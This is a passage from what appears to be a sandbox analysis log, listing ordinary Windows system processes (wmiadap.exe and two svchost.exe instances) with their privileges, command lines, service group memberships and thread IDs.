0x7e4 Thread: id = 916 os_tid = 0x540 Thread: id = 917 os_tid = 0x538 Thread: id = 918 os_tid = 0x52c Thread: id = 919 os_tid = 0x264 Thread: id = 920 os_tid = 0x1cc Thread: id = 921 os_tid = 0x3c0 Thread: id = 922 os_tid = 0x3b8 Thread: id = 923 os_tid = 0x3a8 Thread: id = 924 os_tid = 0x2fc Thread: id = 925 os_tid = 0x2f8 Thread: id = 926 os_tid = 0x2d4 Thread: id = 927 os_tid = 0x2cc Thread: id = 1098 os_tid = 0x1878 Thread: id = 1144 os_tid = 0x1930 Process: id = "25" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x2b4dd000" os_pid = "0x1644" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x370" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 930 os_tid = 0x1648 Thread: id = 933 os_tid = 0x1654 Thread: id = 935 os_tid = 0x165c Thread: id = 937 os_tid = 0x1664 Thread: id = 940 os_tid = 0x1670 Thread: id = 941 os_tid = 0x1674 Thread: id = 1150 os_tid = 0x1964 Process: id = "26" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x941e000" os_pid = "0x218" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e2b6" [0xc000000f], "LOCAL" [0x7] Thread: id = 1105 os_tid = 0x248 Thread: id = 1106 os_tid = 0xc4 Thread: id = 1107 os_tid = 0x660 Thread: id = 1108 os_tid = 0x32c Thread: id = 1109 os_tid = 0x7bc Thread: id = 1110 os_tid = 0x72c Thread: id = 1111 os_tid = 0x5e8 Thread: id = 1112 os_tid = 0x5d8 Thread: id = 1113 os_tid = 0x5a4 Thread: id = 1114 os_tid = 0x544 Thread: id = 1115 os_tid = 0x404 Thread: id = 1116 os_tid = 0x138 Thread: id = 1117 os_tid = 0x378 Thread: id = 1118 os_tid = 0x3a0 Thread: id = 1119 os_tid = 0x214 Thread: id = 1120 os_tid = 0x12c Thread: id = 1147 os_tid = 0x193c Thread: id = 1151 os_tid = 0x1970 Thread: id = 1152 os_tid = 0x1988 Thread: id = 1153 os_tid = 0x19c4 Process: id = "27" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa5fd000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b93c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 1121 os_tid = 0x1888 Thread: id = 1122 os_tid = 0x14c4 Thread: id = 1123 os_tid = 0xf9c Thread: id = 1124 os_tid = 0x718 Thread: id = 1125 os_tid = 0x6d8 Thread: id = 1126 os_tid = 0x6b0 Thread: id = 1127 os_tid = 0x590 Thread: id = 1128 os_tid = 0x574 Thread: id = 1129 os_tid = 0x110 Thread: id = 1130 os_tid = 0x3f0 Thread: id = 1131 os_tid = 0x3e4 Thread: id = 1132 os_tid = 0x3e0 Thread: id = 1133 os_tid = 0x3d0 Thread: id = 1134 os_tid = 0x3cc Thread: id = 1135 os_tid = 0x398 Thread: id = 1136 os_tid = 0x394 Thread: id = 1137 os_tid = 0x384 Thread: id = 1138 os_tid = 0x380 Thread: id = 1139 os_tid = 0x368 Thread: id = 1140 os_tid = 0x350 Thread: id = 1141 os_tid = 0x33c Thread: id = 1145 os_tid = 0x1934